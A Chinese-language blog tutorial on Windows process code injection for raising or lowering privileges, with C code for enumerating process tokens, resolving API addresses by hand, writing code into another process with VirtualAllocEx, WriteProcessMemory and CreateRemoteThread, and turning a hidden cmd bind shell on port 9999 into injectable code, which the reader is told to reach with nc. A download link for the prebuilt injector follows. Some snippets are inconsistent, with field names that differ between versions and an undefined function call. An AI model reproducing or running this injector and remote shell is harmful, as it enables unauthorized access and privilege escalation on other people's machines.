如果将shellcode注入到具有特定权限的进程中,我们就可以获得与该进程相同的权限,此方法可以用于提权与降权操作,注入有多种方式,最简单的是直接将metasploit生成的有效载荷直接注入到目标进程中,并通过创建远程线程启动,还可以自己实现一个注入器,这里我们自己来实现一个提权器,可提权也可降权。

PE工具下载与使用: https://www.cnblogs.com/LyShark/p/12960816.html

枚举系统进程,与进程权限令牌等。

#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h> // 通过进程Token获取进程权限类型
void __stdcall EnumOwner(HANDLE htoken)
{
DWORD dwLen;
PSID pSid = 0;
TOKEN_USER *pWork;
SID_NAME_USE use;
TCHAR User[256], Domain[256]; GetTokenInformation(htoken, TokenUser, NULL, 0, &dwLen);
pWork = (TOKEN_USER *)LocalAlloc(LMEM_ZEROINIT, dwLen);
if (GetTokenInformation(htoken, TokenUser, pWork, dwLen, &dwLen))
{
dwLen = GetLengthSid(pWork->User.Sid);
pSid = (PSID)LocalAlloc(LMEM_ZEROINIT, dwLen);
CopySid(dwLen, pSid, pWork->User.Sid);
dwLen = 256;
LookupAccountSid(NULL, pSid, &User[0], &dwLen, &Domain[0], &dwLen, &use);
printf("\t 权限类型 => %s : %s ", Domain, User);
}
} // 枚举系统中进程的令牌权限信息
int enumprocess()
{
HANDLE SnapShot, ProcessHandle, hToken;
PROCESSENTRY32 pe32; // 拍摄快照
SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(SnapShot, &pe32) == FALSE)
return 0; while (1)
{
if (Process32Next(SnapShot, &pe32) == FALSE)
return 0; printf("PID => %6i \t 进程名 => %-20s \t 线程数 => %3i", pe32.th32ProcessID, pe32.szExeFile, pe32.cntThreads);
// 获取特定进程权限等
ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pe32.th32ProcessID);
if (ProcessHandle != NULL)
{
if (OpenProcessToken(ProcessHandle, TOKEN_QUERY, &hToken))
{
EnumOwner(hToken);
CloseHandle(hToken);
CloseHandle(ProcessHandle);
}
}
printf("\n");
}
return 1;
} int main(int argc, char * argv[])
{
ExtractProcessTokens();
system("pause");
return 0;
}

枚举线程权限类型

// 枚举特定进程中线程的Token值
int enumtoken(DWORD dwPID)
{
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32; if ((hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)) != INVALID_HANDLE_VALUE)
{
te32.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hThreadSnap, &te32))
{
do
{
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, te32.th32ThreadID);
if (hThread != NULL)
{
HANDLE hToken;
OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hToken);
EnumOwner(hToken);
CloseHandle(hToken);
} } while (Thread32Next(hThreadSnap, &te32));
}
}
return TRUE;
}

手工获取函数地址 第一步,手动获取到kernel32.dll地址,与GetProcaddress地址,然后就可以动态获取到任意函数的地址,先定义数据结构

typedef struct _ShellBase
{
// 针对Kernel32的操作
HANDLE KernelHandle;
char kernelstring[20]; // kernel32.dll
LOADLIBRARY KernelLoadLibrary;
GETPROCADDRESS KernelGetProcAddress; // 针对User32的操作
HANDLE UserHandle;
char userstring[20]; // user32.dll
}ShellParametros;

然后,主函数获取地址,并写入全局结构体。

int main(int argc, char * argv[])
{
ShellParametros Param;
// 得到加载基地址的工具函数
Param.KernelHandle = LoadLibrary("kernel32.dll");
Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
printf("获取到Kernel32.dll = %x", Param.KernelHandle); // 分别获取Kernel32与User32的对应字符串
strcpy(Param.kernelstring, "kernel32.dll");
strcpy(Param.userstring, "user32.dll");
system("pause");
return 0;
}

查询弹窗定义。

WINUSERAPI
int
WINAPI
MessageBoxA(
_In_opt_ HWND hWnd,
_In_opt_ LPCSTR lpText,
_In_opt_ LPCSTR lpCaption,
_In_ UINT uType);

头部声明

// Kernel32 调用约定定义
typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName); // User32调用约定定义
typedef int(WINAPI *MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

获取地址,并转为MESSAGEBOX指针。

void __stdcall MyShell(ShellParametros *ptr)
{
ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
ptr->UserHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->userstring); printf("动态获取到Kernel32基地址 = %x \n", ptr->KernelHandle);
printf("动态获取到User32基地址 = %x \n", ptr->UserHandle); MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
printf("%x \n", msgbox);
msgbox(0, 0, 0, 0);
}

调用

注入目标进程,需要获得字符串,该字符串要存储到内存中,修改.

MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");

typedef struct _ShellBase
{
// 针对Kernel32的操作
HANDLE KernelHandle;
char kernelstring[20]; // kernel32.dll
LOADLIBRARY KernelLoadLibrary;
GETPROCADDRESS KernelGetProcAddress; // 针对User32的操作
HANDLE UserHandle;
char userstring[20]; // user32.dll
char msgbox[20]; }ShellParametros; MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, ptr->msgbox);

将代码注入到目标进程中,弹窗提示一下,开辟远程线程。

int main(int argc, char * argv[])
{
ShellParametros Param, *remote = NULL;
HANDLE hProcess;
void *p = NULL; // 得到加载基地址的工具函数
Param.Kernel32Base = LoadLibrary("kernel32.dll");
Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
// printf("获取到Kernel32.dll = %x", Param.KernelHandle); // 分别获取Kernel32与User32的对应字符串
strcpy(Param.KernelString, "kernel32.dll");
strcpy(Param.UserString, "user32.dll"); strcpy(Param.User_MsgBox, "MessageBoxA");
strcpy(Param.Text, "hello lyshark"); // 根据PID注入代码到指定进程中
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 17508);
p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
remote = (ShellParametros *)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall *)(void *)) p, remote, 0, 0);
return 0;
}

实现CMDShell 以下代码可实现正向cmdshell,我们将其改进一下,让其支持动态获取地址。

#include <winsock2.h>
#define Port 9999
#pragma comment(lib,"ws2_32.lib") int main()
{
SOCKET sSocket, cSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSADATA wsaData;
sockaddr_in sSockaddr;
char szCmdPath[MAX_PATH]; GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH); WSAStartup(0x0202, &wsaData);
cSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sSockaddr.sin_addr.s_addr = INADDR_ANY;
sSockaddr.sin_family = AF_INET;
sSockaddr.sin_port = htons(Port);
bind(cSocket, (sockaddr*)&sSockaddr, sizeof(sSockaddr));
listen(cSocket, 1); int sLen = sizeof(sSockaddr);
sSocket = accept(cSocket, (sockaddr*)&sSockaddr, &sLen);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = (HANDLE)sSocket;
si.hStdOutput = (HANDLE)sSocket;
si.hStdError = (HANDLE)sSocket;
CreateProcessA(NULL, szCmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
WSACleanup(); return 0;
}

依次验证常用函数所在动态链接库,就调用了2个库,好,我们继续写。

上方的代码就是一个正向CMDshell,我们将其写成自定位代码即可,首先定义需要用得到的指针。

// 定义各种指针变量
typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE, LPCSTR); typedef int (WINAPI *BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI *ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI *LISTEN) (SOCKET, int);
typedef int (WINAPI *WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI *WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI *WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI * CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,
DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

main函数中向结构体中拷贝数据

	memset((void *)&parametros, 0, sizeof(PARAMETROS));
strncpy(parametros.cmd, "cmd", 2);
parametros.port = htons((unsigned short)9999); // 获取到动态链接库加载函数地址
parametros.KernelHandle = LoadLibrary("kernel32.dll");
parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress"); // 拷贝 winsock 字符串
strcpy(parametros.wsastring, "ws2_32.dll");
strcpy(parametros.wsastartupstring, "WSAStartup");
strcpy(parametros.WSASocketString, "WSASocketW");
strcpy(parametros.WSAConnectstring, "WSAConnect");
strcpy(parametros.bindstring, "bind");
strcpy(parametros.acceptstring, "accept");
strcpy(parametros.listenstring, "listen"); // 拷贝 kernel32 字符串
strcpy(parametros.kernelstring, "kernel32.dll");
strcpy(parametros.CreateProcessstring, "CreateProcessA");

调用shell代码,代码先执行动态获取API地址,然后动态调用。

// 调用的远程Shell代码
void __stdcall MyShell(PARAMETROS *ptr)
{
// 通过GetProcAddress获取到ws2.dll中的所有函数地址
ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring); // 通过GetProcAddress获取到kernel32.dll中的所有函数地址
ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
ptr->ShellWsaStartup(0x101, &HWSAdata);
s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
sa.sin_family = AF_INET;
sa.sin_port = ptr->port;
sa.sin_addr.s_addr = 0;
ptr->ShellBind(s, (struct sockaddr *) &sa, 16);
ptr->ShellListen(s, 1); while (1)
{
n = ptr->ShellAccept(s, (struct sockaddr *)&sa, NULL);
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)n;
si.lpDesktop = si.lpTitle = (char *)0x0000;
si.lpReserved2 = NULL;
ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
}
}

最后,主函数开辟远程线程,即可完成权限提升,下载地址中包括32与64两个版本,不同版本对应不同位数。

工具下载地址:https://www.blib.cn/soft/pexec.zip

首先使用注入器注入一个正在运行的进程,参数为PID

使用NC直接连接进去,即可获取到,与注入进程相同的权限,端口写死了9999

如果目标进程开启了,动态地址,ASLR,等则注入会失败,程序崩溃,这里需要注意一下。

C/C++ 进程代码注入与提权/降权的更多相关文章

  1. Windows下的代码注入

    木马和病毒的好坏很大程度上取决于它的隐蔽性,木马和病毒本质上也是在执行程序代码,如果采用独立进程的方式需要考虑隐藏进程否则很容易被发现,在编写这类程序的时候可以考虑将代码注入到其他进程中,借用其他进程 ...

  2. C++代码注入

    一.C++代码注入原则: 在注入代码中不允许使用API. 在注入代码中不允许使用全局变量. 在注入代码中不允许使用字符串(编译时也被当做全局变量). 在注入代码中不允许使用函数嵌套. 二.注入代码编写 ...

  3. 代码注入——c++代码注入

    代码注入之——c++代码注入 0x00  代码注入和DLL注入的区别 DLL注入后DLL会通过线程常驻在某个process中,而代码注入完成之后立即消失. 代码注入体积小,不占内存 0x01  通过c ...

  4. dll注入与代码注入

    学习<逆向工程核心原理>,在x64下dll注入与代码注入. dll注入主要用到CreateRemoteThread, HANDLE WINAPI CreateRemoteThread( _ ...

  5. 转:EasyHook远程代码注入

    EasyHook远程代码注入 最近一段时间由于使用MinHook的API挂钩不稳定,经常因为挂钩地址错误而导致宿主进程崩溃.听同事介绍了一款智能强大的挂钩引擎EasyHook.它比微软的detours ...

  6. 使用ptrace向已运行进程中注入.so并执行相关函数

    这个总结的很好,从前一个项目也用到这中技术 转自:http://blog.csdn.net/myarrow/article/details/9630377 1. 简介 使用ptrace向已运行进程中注 ...

  7. 32位汇编第三讲,RadAsm,IDE的配置和使用,以及汇编代码注入方式

    32位汇编第三讲,RadAsm,IDE的配置和使用,以及汇编代码注入方式 一丶RadAsm的配置和使用 用了怎么长时间的命令行方式,我们发现了几个问题 1.没有代码提醒功能 2.编写代码很慢,记不住各 ...

  8. Wow64(32位进程)注入DLL到64位进程

    转载自: https://blog.poxiao.me/p/wow64-process-inject-dll-into-x64-process/ 向其他进程注入DLL通常的做法是通过调用CreateR ...

  9. 使用ptrace向已运行进程中注入.so并执行相关函数(转)

    1. 简介 使用ptrace向已运行进程中注入.so并执行相关函数,其中的“注入”二字的真正含义为:此.so被link到已运行进程(以下简称为:目标进程)空间中,从而.so中的函数在目标进程空间中有对 ...

随机推荐

  1. CRLF注入原理

    CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),操作系统就是根据这个标识来进行换行的,你在键盘输入回车键就是输出这个字符,只不过win ...

  2. golang操作mysql2

    目录 Go操作MySQL 连接 下载依赖 使用MySQL驱动 初始化连接 SetMaxOpenConns SetMaxIdleConns CRUD 建库建表 查询 单行查询 多行查询 插入数据 更新数 ...

  3. 1.1 Python3基础-前言

    >>返回主目录 Python 交互式代码 Python 脚本式代码 第一段Python代码: print('Hello World!') >>返回主目录

  4. C# 基础 - Json 之间的转换

    这里举例两种方式. 1. Newtonsoft.Json.JsonConvert 需要引用外部的 Newtonsoft.Json.dll /// <summary> /// 将json字符 ...

  5. Memory Networks01 记忆网络经典论文

    目录 1.Memory Networks 框架 流程 损失函数 QA 问题 一些扩展 小结 2.End-To-End Memory Networks Single Layer 输入模块 算法流程 Mu ...

  6. P2424 约数和 【整除分块】

    一.题目 P2424 约数和 二.分析 因为都是加法,那么肯定有的一个性质,即前缀和的思想,就是$$ { ans =\sum_{i=1}^y f(i)} - {\sum_{i=1}^x f(i)}   ...

  7. JPEG解码——(6)IDCT逆离散余弦变换

    本篇是该系列的第六篇,承接上篇IZigZag变换,介绍接下来的一个步骤--逆离散余弦变换,即逆零偏置前的一个步骤. 该步骤比较偏理论,其业务是对IZigZag变换后的数据,再进一步的处理,使其恢复DC ...

  8. vue 项目集成 husky+commitlint+stylelint

    最近刚换了新工作,这两天也没有业务上的需求,做了一些前端工程化方面的东西.要在现有的项目中集成 husky+commitlint+stylelint,也不能对现有代码产生影响. 使用 lint 的目的 ...

  9. 【odoo14】第二十三章、管理邮件

    邮件集成是odoo最重要的特性.我们可以通过odoo收发邮件.我们甚至可以管理业务文档上的电子邮件,如潜在客户.销售订单和项目.本章,我们将探讨在odoo中处理邮件的方式. 配置邮件服务器 管理文档中 ...

  10. Django 模板 render传参不转码

    今天通过Django后端向前端页面传递一行js代码,却发现符号被转码了导致代码不能执行 Django代码 HTML代码 实际生成页面代码 我们可以看到实际代码中的引号被转义,导致代码不能执行, 解决方 ...